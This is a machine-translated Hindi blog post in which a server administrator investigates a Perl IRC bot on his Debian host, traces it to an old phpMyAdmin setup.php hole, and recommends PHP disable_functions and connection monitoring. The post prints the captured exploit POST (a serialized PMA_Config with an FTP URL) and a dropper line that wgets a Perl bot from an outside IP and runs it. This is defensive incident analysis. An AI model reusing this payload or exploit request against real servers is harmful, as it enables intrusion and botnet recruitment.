👩🏽‍✈️ 👨‍👧‍👦 ✋🏿 Phpmyadmin के पुराने संस्करणों में शोषण के माध्यम से बॉट पैठ का विश्लेषण और php होस्टिंग सुरक्षा सेटिंग्स पर सिफारिशें 💾 👨🏻‍✈️ 🧑🏾‍🤝‍🧑🏽

मेरे पास प्रशासन के लिए कई सर्वर हैं जो मुख्य रूप से मेरी परियोजनाओं की मेजबानी करते हैं, लेकिन उनके अलावा, मुझे बहुत सारी साइटें छोड़नी पड़ीं - क्लाइंट, परिचित, परिचित, परिचित आदि। प्रशासन के दौरान, विभिन्न समस्याओं का सामना करना पड़ा, इसलिए कुछ निगरानी सेटिंग्स (ज़ैबिक्स और स्व-लिखित स्क्रिप्ट) कॉन्फ़िगर किए गए थे।

और कल, सर्वरों में से एक पर, सक्रिय कनेक्शनों की जाँच करने वाली एक स्क्रिप्ट ने अलार्म बजाया: पोर्ट 433 पर एक अज्ञात होस्ट के लिए एक आउटगोइंग कनेक्शन लगातार लटका हुआ है, उस समय 9 घंटे से अधिक समय तक जब मैंने सोमवार सुबह मेल पढ़ने में महारत हासिल की;)

एक सरसरी स्कैन के दौरान, इस सक्रिय कनेक्शन के अलावा, सिस्टम में कोई भी विसंगति और बाएं प्रक्रियाओं का पता नहीं लगाया गया था, इंटरफ़ेस पर ट्रैफ़िक में तेज वृद्धि का भी पता चला था, लेकिन इससे मुझे आश्वस्त नहीं हुआ, इसलिए मुझे और अधिक पता लगाना पड़ा।

विश्लेषण के परिणामों के आधार पर, मुझे पता चला कि एक समान सुरक्षा छेद मूल PHP सेटिंग्स वाले अधिकांश सर्वरों पर हो सकता है, इसलिए मैंने ऐसे मामलों से होस्टिंग वाले बाकी सर्वरों के मालिकों की सुरक्षा के लिए हब पर पोस्ट करने का फैसला किया, और सर्वर पर संक्रमण के स्रोतों को खोजने के तरीकों का भी वर्णन किया।

सिस्टम को नवीनतम अपडेट्स के साथ डेबियन लेनी द्वारा स्थापित किया गया है, यहां तक कि आंशिक रूप से बैकपोर्ट निचोड़, पोस्टफिक्स + डोवेकॉट, अपाचे 2, लाइटटैप, मायस्कल, पीएचपी, पर्ल काम से - सामान्य रूप से, लगभग एक बुनियादी कॉन्फ़िगरेशन।

मेरी स्क्रिप्ट जिसने इस कनेक्शन की खोज की है, वह निम्नलिखित करती है: हर 30 मिनट में यह lsof -nP -i :80,443,25 +c 15

चलाता है lsof -nP -i :80,443,25 +c 15

(पोर्ट्स पर सक्रिय आउटगोइंग कनेक्शन की एक सूची 80,443,25), इससे खोजा गया उसका उपसर्ग मेल सर्वर कट जाता है और मेरी कुछ और प्रक्रियाएँ, और यदि, उनके अलावा, कोई और व्यक्ति कनेक्शन रखता है, तो तुरंत पैनिक मोड चालू कर देता है।

इस स्क्रिप्ट के परिणामों के आधार पर, मुझे निम्नलिखित जानकारी प्राप्त हुई:

perl 31621 www-data 4u IPv4 123556667 TCP [_ip]:59216->81.223.126.136:443 (ESTABLISHED)

मैं तुरंत ssh के माध्यम से जुड़ा, ps aux बनाया, जिसने मुझे बहुत आश्चर्यचकित किया:

UID PID PPID C STIME TTY TIME CMD 
      

        
        
        
      

     www-data 31621 1 0 20:15 ? 00:00:00 /usr/sbin/apache2 -k start

यानी पी एस मैंने दावा किया कि यह खतरनाक नहीं है, लेकिन अपाचे।

इसलिए, मैं यह जानना चाहता था कि इस प्रक्रिया को सिस्टम में दिखाई देने के लिए, इस समय के दौरान लॉग के माध्यम से खोज करने के लिए, और स्क्रिप्ट में 30 मिनट का अंतराल है, जिसके लिए मैं बहुत सारे लॉग लिखने में कामयाब रहा। यह पता चला कि एक विशिष्ट प्रारंभ तिथि का पता लगाना समस्याग्रस्त था, ps aux कमांड ने केवल लॉन्च की तारीख (अंतिम दिन, 12 दिसंबर), / proc / फ़ाइल निर्माण तिथियों में दी थी और बाकी की जानकारी पर एक त्वरित नज़र द्वारा पाया गया यह स्क्रिप्ट संदेश के अंतराल से मेल नहीं खाता, लेकिन सक्रिय googling के बाद मैं मैजिक कमांड को खोजने और इस प्रक्रिया के विशिष्ट प्रारंभ समय को एक सेकंड की सटीकता के साथ जानने में कामयाब रहा:

# ps -eo pid,lstart,cmd

दूसरे कॉलम में, मेरी प्रक्रिया 12.12.2010 23:59:40 के लिए, प्रक्रिया शुरू होने का सही समय प्रदर्शित होता है।

इस समय के दौरान प्रत्येक वर्चुअल होस्ट के लॉग की सावधानीपूर्वक जांच की गई, शून्य से 5 मिनट नीचे, इस क्षण से मुझे कुछ भी असामान्य नहीं मिला! मैंने एक प्रोसेस ट्री भी बनाया और देखा कि इस प्रक्रिया का कोई माता-पिता (pid 0 वाला माता-पिता) नहीं है। और आईपी एक्सेस जहां कनेक्शन लटका हुआ है (81.223.126.136) लॉग में एक भी डेमॉन नहीं था।

इसके अलावा, perl के बारे में गुगली करते हुए, मुझे पता चला कि इसमें कमांड पैरामीटर को किसी अन्य पाठ में बदलना काफी सरल है, यह चर $ 0, अर्थात् के माध्यम से किया जाता है। एक चल रही प्रक्रिया को mysqld, init या किसी अन्य डेमॉन के रूप में प्रदर्शित किया जा सकता है।

कुल मिलाकर, हमारे पास माता-पिता के बिना एक सक्रिय पर्ल प्रक्रिया है, जो 9 घंटे से अधिक समय से लटका हुआ है और कहीं से भी नहीं चल रहा है, हालांकि होस्टिंग पर, मेरे पास केवल हर जगह PHP है। इसलिए, यहां तक कि अपाचे को फिर से शुरू करने से यह प्रक्रिया सक्रिय हो जाती है।

अगला, मैंने tcpdump के माध्यम से ट्रैफ़िक का विश्लेषण करने की कोशिश की:

000033 IP [my_ip].55026 > 81.223.126.136.443: . ack 1 win 46 <nop,nop,timestamp 575834701 2876573490> 
      

        
        
        
      

     000172 IP [my_ip].55026 > 81.223.126.136.443: P 1:13(12) ack 1 win 46 <nop,nop,timestamp 575834701 2876573490> 
      

        
        
        
      

     001043 IP 81.223.126.136.443 > [my_ip].54320: . ack 163 win 54 <nop,nop,timestamp 2876573490 575834655> 
      

        
        
        
      

     183151 IP 81.223.126.136.443 > [my_ip].55026: . ack 13 win 46 <nop,nop,timestamp 2876573536 575834701> 
      

        
        
        
      

     000022 IP [my_ip].55026 > 81.223.126.136.443: P 13:145(132) ack 1 win 46 <nop,nop,timestamp 575834747 2876573536> 
      

        
        
        
      

     000005 IP 81.223.126.136.443 > [my_ip].55026: P 1:77(76) ack 13 win 46 <nop,nop,timestamp 2876573536 575834701> 
      

        
        
        
      

     000006 IP [my_ip].55026 > 81.223.126.136.443: . ack 77 win 46 <nop,nop,timestamp 575834747 2876573536> 
      

        
        
        
      

     001213 IP 81.223.126.136.47092 > [my_ip].113: S 4059834353:4059834353(0) win 5840 <mss 1460,sackOK,timestamp 2876573536 0,nop,wscale 7> 
      

        
        
        
      

     000019 IP [my_ip].113 > 81.223.126.136.47092: S 2188075368:2188075368(0) ack 4059834354 win 5792 <mss 1460,sackOK,timestamp 575834748 2876573536,nop,wscale 7>

और वह htop कमांड में स्ट्रेस करने की क्षमता भी पाया:

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 559974}) 
      

        
        
        
      

     read(4, "ERROR :Closing Link: Fasso'[sea.q"..., 4096) = 76 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599998}) 
      

        
        
        
      

     read(4, ""..., 4096) = 0 
      

        
        
        
      

     close(4) = 0 
      

        
        
        
      

     socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 4 
      

        
        
        
      

     ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument) 
      

        
        
        
      

     lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek) 
      

        
        
        
      

     ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument) 
      

        
        
        
      

     lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek) 
      

        
        
        
      

     fcntl(4, F_SETFD, FD_CLOEXEC) = 0 
      

        
        
        
      

     connect(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("81.223.126.136")}, 16) = 0 
      

        
        
        
      

     getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0 
      

        
        
        
      

     write(4, "NICK Fasso'\n"..., 12) = 12 
      

        
        
        
      

     getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0 
      

        
        
        
      

     write(4, "USER fake [my_ip] 81.223.1"..., 132) = 132 
      

        
        
        
      

     rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 
      

        
        
        
      

     rt_sigaction(SIGCHLD, NULL, {SIG_IGN}, 8) = 0 
      

        
        
        
      

     nanosleep({2, 0}, {2, 0}) = 0 
      

        
        
        
      

     rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599997}) 
      

        
        
        
      

     read(4, "NOTICE AUTH :*** Looking up your "..., 4096) = 113 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392}) 
      

        
        
        
      

     read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66 
      

        
        
        
      

     write(4, "PONG :258562266\n"..., 16) = 16 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936}) 
      

        
        
        
      

     read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     15:59:55 icq.j-im.ru 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout) 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392}) 
      

        
        
        
      

     read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66 
      

        
        
        
      

     write(4, "PONG :258562266\n"..., 16) = 16 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936}) 
      

        
        
        
      

     read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50 
      

        
        
        
      

     select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

इस डेटा से, मुझे पता चला कि यह बॉट समय-समय पर सर्वर के साथ सूचना का आदान-प्रदान करता है (हर 30-60 सेकंड में), यानी। यह सक्रिय रूप से काम करता है, लेकिन यह बहुत अधिक ट्रैफ़िक उत्पन्न नहीं करता है, मैंने god.undernet.hk होस्ट को देखा है, लेकिन इसने सिस्टम में बॉट के स्रोत को खोजने में मेरी मदद नहीं की।

फिर, थोड़ा और दिमाग के साथ, मैंने lsof -p 31621 किया और निम्न आउटपुट प्राप्त किया:

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME 
      

        
        
        
      

     perl 31621 www-data cwd DIR 9,4 640 2 /tmp 
      

        
        
        
      

     perl 31621 www-data rtd DIR 9,1 4096 2 / 
      

        
        
        
      

     perl 31621 www-data txt REG 9,1 6848 245277 /usr/bin/perl 
      

        
        
        
      

     perl 31621 www-data mem REG 9,1 25536 310438 /usr/lib/perl/5.10.0/auto/Socket/Socket.so 
      

        
        
        
      

     perl 31621 www-data mem REG 9,1 19704 310433 /usr/lib/perl/5.10.0/auto/IO/IO.so 
      

        
        
        
      

     perl 31621 www-data mem REG 9,1 39112 1404408 /lib/libcrypt-2.7.so 
      

        
        
        
      

     perl 31621 www-data mem REG 9,1 1375536 262722 /lib/libc-2.7.so 
      

        
        
        
      

     perl 31621 www-data mem REG 9,1 130114 261372 /lib/libpthread-2.7.so 
      

        
        
        
      

     perl 31621 www-data mem REG 9,1 534736 1404410 /lib/libm-2.7.so 
      

        
        
        
      

     perl 31621 www-data mem REG 9,1 14616 1404409 /lib/libdl-2.7.so 
      

        
        
        
      

     perl 31621 www-data mem REG 9,1 1499352 246277 /usr/lib/libperl.so.5.10.0 
      

        
        
        
      

     perl 31621 www-data mem REG 9,1 119288 262716 /lib/ld-2.7.so 
      

        
        
        
      

     perl 31621 www-data 0u unix 0xffff880080459200 122918994 /tmp/php.socket-1 
      

        
        
        
      

     perl 31621 www-data 1w FIFO 0,8 123556620 pipe 
      

        
        
        
      

     perl 31621 www-data 2w REG 9,1 838 979223 /var/log/lighttpd/error.log 
      

        
        
        
      

     perl 31621 www-data 3u unix 0xffff880020d31500 123039634 /tmp/php.socket-1 
      

        
        
        
      

     perl 31621 www-data 4u IPv4 123556667 TCP [_ip]:59216->136-126-223-81.static.edis.at:https (ESTABLISHED)

इस निष्कर्ष ने मुझे लाइटटैप्ड शब्द की उपस्थिति से और भी अधिक हैरान कर दिया (मेरे पास सर्वर पर 2 आईपी हैं, अपाचे एक पर लटका हुआ है, दूसरे पर लाइटटैप्ड है), हालांकि पीएस में प्रक्रिया एक अपाचे लग रही थी, और यह जाहिरा तौर पर / tmp से लॉन्च किया गया था।

आगे ब्रेनवॉश करने के बाद, मैंने इस प्रक्रिया की मेमोरी को डंप करने का फैसला किया, लेकिन पढ़ने / खरीद // मेम ने मदद नहीं की। लेकिन gcore कमांड (gdb पैकेज से) ने मदद की - इसकी मदद से, मैं इस प्रक्रिया की मेमोरी को 3.2mb तक डंप करने में सक्षम था और इसे मैन्युअल रूप से देखना शुरू किया। देखते समय, मैं अपनी आँखों से निम्न पाठ अंश देख सकता था:

@fakeps 
      

        
        
        
      

     /usr/sbin/apache2 -k start 
      

        
        
        
      

     god.txt 
      

        
        
        
      

     HTTP_HOST=[my_ip]..!.......DOCUMENT_ROOT=/var/www/.A.......SCRIPT_FILENAME=/var/www/phpmyadmin3/scripts/setup.php..A.......SCRIPT_NAME=/phpmyadmin3/scripts/setup.php..............!.......PHP_FC 
      

        
        
        
      

     GI_CHILDREN=16....1.......PATH=/sbin:/bin:/usr/sbin:/usr/bin......!.......PWD=/tmp................1.......REMOTE_ADDR=62.193.226.196..............!.......SHLVL=1.................1.......PHP_FCGI_MAX_REQUESTS=10000.............1.......OLDPWD=/ 
      

        
        
        
      

     var/www/phpmyadmin3.............!......._=/usr/bin/perl

वाह, पकड़ लिया! पर्ल को PHP स्क्रिप्ट /var/www/phpmyadmin3/scripts/setup.php से लॉन्च किया गया था

हम Google पर चढ़ते हैं, "phpmyadmin setup.php शोषण" टाइप करते हैं और एक कार्यशील शोषण पाते हैं: www.securityfocus.com/bid/34236 - यह 2009-03-24 को खोजा गया था, यह phpmyadmin.site पर भी है: www.phpmyadmin.net/ होम_पेज / सिक्योरिटी / PMASA-2009-3.php और केवल 2.11.9.5 और 3.1.3.1 संस्करणों में तय किया गया।

यह phpmyadmin मेरे द्वारा काफी समय से मैन्युअल रूप से सेट किया गया था, क्योंकि रिपॉजिटरी में 3 संस्करण नहीं थे, संस्करण 3.0.0-rc2 था, अर्थात एक पुराना एक, अभी भी एक खाली छेद के साथ, और फिर मैं सुरक्षित रूप से इसके बारे में भूल गया और इसे आज तक मृत वजन लटकाने के लिए छोड़ दिया।

इसके अलावा, पहले से ही php स्क्रिप्ट का पता जानने के बाद, लाइटटैप लॉग में कॉल ढूंढना संभव था:

62.193.226.196 [my_ip] - [12/Dec/2010:15:54:57 +0300] "GET /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 14083 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera" 
      

        
        
        
      

     62.193.226.196 [my_ip] - [12/Dec/2010:15:54:59 +0300] "POST /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 556203 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"

केवल एक चीज जो मुझे समझ में नहीं आती है वह है समय अंतर, अनुरोध 15:54 पर था, और प्रक्रिया 23:59 पर दिखाई दी।

मैं अब भी यह पता लगाना चाहता था कि उन्होंने मुझे किस तरह का बॉट दिया है, इसलिए स्क्रिप्ट तक पहुंच को रोकने के बजाय, हमने वहां एक जाल बिछाया:

 $loginfo['date']=date('c'); $loginfo['env']=var_export($_ENV,true); $loginfo['get']=var_export($_GET,true); $loginfo['post']=var_export($_POST,true); file_put_contents('log.txt',var_export($loginfo,true),FILE_APPEND);

जाल को इंतजार करने में देर नहीं लगी, अगले दिन 22 बजे यह फिर से इस स्क्रिप्ट की अपील को पकड़ता है, और हमारे पास पहले से ही शोषण कोड है:

  'post' => 'array ( \'action\' => \'lay_navigation\', \'eoltype\' => \'unix\', \'token\' => \'4b179cfc2f788d828bf9ff8d2f122459\', \'configuration\' => \'a:1:{i:0;O:10:\\\\"PMA_Config\\\\":1:{s:6:\\\\"source\\\\";s:44:\\\\" ftp://web1:l33t@85.25.132.71/html/godbot.txt\\\\";}}\', )'

इस फ़ाइल को wget के माध्यम से डाउनलोड करें और देखें:

 <?php system("cd /tmp;killall -9 perl;wget -O god.txt 67.19.118.242/god.txt;perl god.txt;rm -f god.txt*");die;

इस लिंक पर आगे हमें पहले से ही बॉट कोड (34 kbytes) प्राप्त हैं, जो रुचि रखते हैं आप इसे डाउनलोड कर सकते हैं और देख सकते हैं।

कुल मिलाकर, मैं इस बॉट के प्रवेश के स्रोत का पता लगाने और बॉट का कोड प्राप्त करने में सफल रहा। यह छेद पैच करने के लिए रहता है;)

मुझे उम्मीद है कि मेरे विश्लेषण का वर्णन अन्य प्रशासकों को अपने सर्वर पर सभी बुराई की खोज और विश्लेषण में मदद करेगा।

ऐसे मामलों से खुद को कैसे बचाएं

सबसे पहली बात जो दिमाग में आती है वह यह है कि आपको समय में नवीनतम संस्करणों को अपडेट करने की आवश्यकता है। हां, इस विशेष मामले में, मेरी अपनी गलती है कि मैंने phpmyadmin संस्करण का पालन नहीं किया है, लेकिन आप होस्टिंग पर प्रत्येक ग्राहक को अपने phpmyadmin को लगातार अपडेट करने के लिए बाध्य नहीं कर सकते हैं, जिसे वे साइट पर बहुत बार अपलोड करते हैं, इसलिए ध्यान रखें कि स्क्रिप्ट के पुराने टपका संस्करणों की उपस्थिति अपरिहार्य है, इसलिए प्रत्येक अपने होम फोल्डर तक पहुंच वाला उपयोगकर्ता पहले से ही समान समस्याओं का एक स्रोत है, क्योंकि प्रत्येक साइट पर कोड की स्वच्छता और सुरक्षा के लिए लड़ना बेकार है, वैश्विक सुरक्षा उपाय किए जाने चाहिए।

यह पता चला है कि मूल php सेटिंग्स वाला प्रत्येक सर्वर संभावित रूप से एक समान खतरे से अवगत कराया गया है, और यह नोटिस करना लगभग असंभव है कि इस तरह के बॉट सर्वर पर बसे हैं। इसलिए, मैं सलाह देता हूं कि व्यवस्थापक समान समस्याओं से अग्रिम में सर्वर की रक्षा करें और असामान्य गतिविधि की निगरानी को कॉन्फ़िगर करें।

मैंने निम्नलिखित सुरक्षा उपाय किए हैं:

1. सक्रिय कनेक्शनों की समय-समय पर निगरानी स्थापित करना, इसके साथ आप तुरंत असामान्य गतिविधि को नोटिस कर सकते हैं, चाहे वह php स्क्रिप्ट के साथ स्पैमिंग हो या सर्वर से किसी बॉट के कनेक्शन की। इस स्क्रिप्ट में, मैंने तुरंत इस प्रक्रिया के lsof कमांड और एक मेमोरी डंप को जोड़ा, क्योंकि जब तक मैं सर्वर पर पहुँचता हूँ, तब तक स्क्रिप्ट पहले से ही काम कर सकती है और अनलोड कर सकती है।

2. कार्य निष्पादन, प्रणाली, आदि चलाने पर php में प्रतिबंध, क्योंकि उनकी शायद ही कभी आवश्यकता होती है, इसलिए अधिकांश ग्राहकों का उपयोग नहीं किया जाता है। इन फ़ंक्शंस का उपयोग करके लॉगिंग करना एक आदर्श विकल्प होगा, लेकिन मुझे नहीं लगा कि इसे कैसे करना है (वैसे, क्या कोई मुझे बता सकता है कि यह कैसे करना है?) , Php.ini में पूरी लाइन निम्नानुसार है:

disable_functions = "ini_alter, curl_exec, exec, system, passthru, shell_exec, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, leak, listen, chgrp, apache_note, apache_setenv, closelog, debugger_off, debugger_on, define_sys 
      

        
        
        
      

     log_variables, openlog, syslog,ftp_exec,dl"

मैं habrayuzers की टिप्पणियों को सुनना चाहूंगा कि क्या मैंने सुरक्षा विधियों को सही तरीके से चुना है और जो मेरे सर्वर पर ऐसे मामलों के खिलाफ सुरक्षा बनाता है।

साथ ही, निम्नलिखित प्रश्न मेरे लिए खुले रहे:

मैं प्रक्रिया शुरू करने के लिए वास्तविक मार्ग का पता कैसे लगा सकता हूं और इसके लिए पथ, यदि यह पहले से ही प्रक्रिया द्वारा अधिलेखित हो जाता है, बिना मेमोरी डंप का सहारा लिए और मैन्युअल रूप से दरारें देखने के बिना?
कैसे लिनक्स में आप tcpdump या एक विशिष्ट प्रक्रिया से एक समान उपयोगिता के माध्यम से सभी यातायात को रोक सकते हैं और देख सकते हैं, इसकी जानकारी?
क्या कनेक्शन में गैर-मानक सर्वर गतिविधि की निगरानी के लिए कोई तैयार समाधान हैं?
क्या निष्पादन कार्यों के निष्पादन और इस तरह php को कॉन्फ़िगर करने का कोई तरीका है?

UPD ।: वैसे, यह छेद रिपॉजिटरी से phpmyadmin में बंद नहीं हो सकता है, आपको ध्यान से डॉक देखने की जरूरत है। छेद केवल 2.11.9.5 और 3.1.3.1 संस्करणों में पैच किया गया था। लेकिन उदाहरण के लिए, डेबियन लेनी में 4: 2.11.8.1-5 + lenn6 जाता है, और छेद एक अलग पैच के साथ बंद हो जाता है -http: //www.debian.org/security-2009/dsa-1824

इस छेद के बारे में अधिक जानकारी: www.phpmyadmin.net/home_page/security/PMASA-2009-3.pp

UPD2: क्या मैं किसी तरह से फ़ायरवॉल के माध्यम से कॉन्फ़िगर कर सकता हूं (जहां तक मैं लिनक्स के लिए समझता हूं कि यह iptables होगा) विशिष्ट प्रक्रियाओं के नेटवर्क तक पहुंच को प्रतिबंधित करता है? उदाहरण के लिए, सभी पर्ल प्रक्रियाओं को बाहर से जोड़ने के लिए मना करना। एंड्रॉइड ओएस (यह लिनक्स कर्नेल पर भी काम करता है) में एक DroidWall प्रोग्राम है जो आपको विशिष्ट अनुप्रयोगों के लिए नेटवर्क तक पहुंचने / अस्वीकार करने की अनुमति देता है, लेकिन बुनियादी लिनक्स वितरण (उदाहरण के लिए, डेबियन) में, कुछ समझ नहीं आया कि क्या यह किया जा सकता है।

UPD3: टिप्पणियों और पत्रों के आधार पर, मैंने कार्यों की एक सूची जोड़ी और कुछ अनावश्यक लोगों को बाहर निकाल दिया:

disable_functions = "apache_setenv, chown, chgrp, closelog, define_syslog_variables, dl, exec, ftp_exec, openlog, passthru, pcntl_exec, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_open, proc_terminate, shell_exec, syslog, system"

UPD4: दर्शकों के अनुरोध पर और अतिरिक्त:

सक्रिय कनेक्शन की जाँच करने के लिए स्क्रिप्ट: (यह मेरी व्यक्तिगत जरूरतों के लिए केवल घुटने पर जल्दी से लिखा गया था)

 $out=system("lsof -nP -i :80,443,25 +c 15 | grep -v -E '^(COMMAND|apache2|zabbix|smtpd?|master|scache|host|lighttpd)' | grep -v 'wget.*>[my_ip]:80'"); if(strlen($out)) { $arr=explode("\n",$out); foreach($arr as $str) { echo $str."\n"; $spl=preg_split("/\s+/",$str); echo `ps -f -p {$spl[1]}`."\n\n"; echo `lsof -p {$spl[1]}`."\n\n"; }

और मैं इसे क्रोन में हर 30 मिनट के लिए पंजीकृत करता हूं। यदि वह स्टार्टअप पर कुछ अधिक प्रदर्शित करता है, तो हम सूची में grep जोड़ते हैं ताकि यह हस्तक्षेप न करे। नतीजतन, अगर कुछ बचा हुआ दिखाई देता है जो या तो स्पैम करने या कुछ डाउनलोड करने की कोशिश करता है, तो तुरंत क्रॉन मुझे मेल द्वारा सूचित करता है।

UPD4: उपयोगकर्ता z123 से : प्रक्रिया शुरू करने वाले वास्तविक कार्यक्रम का पता कैसे करें (यदि इसे बदला गया था):

ps -p 123 -o comm

readlink / proc / 123 / exe (123 प्रक्रिया संख्या के साथ बदलें)

लेकिन, दुर्भाग्य से, वे स्टार्टअप पैरामीटर और फ़ोल्डर नहीं दिखाते हैं, लेकिन इस बॉट के लिए केवल पर्ल और / usr / बिन / पर्ल प्रदर्शित किए जाते हैं, इसलिए मेमोरी डंप के बिना, मुझे अभी तक उस फ़ोल्डर को खोजने का कोई तरीका नहीं मिला है जहां से संक्रमण आया (यानी /var/www/phpmyadmin3/scripts/setup.php

लाइन ढूंढें) /var/www/phpmyadmin3/scripts/setup.php

)

Phpmyadmin के पुराने संस्करणों में शोषण के माध्यम से बॉट पैठ का विश्लेषण और php होस्टिंग सुरक्षा सेटिंग्स पर सिफारिशें

ऐसे मामलों से खुद को कैसे बचाएं

मैंने निम्नलिखित सुरक्षा उपाय किए हैं:

More articles: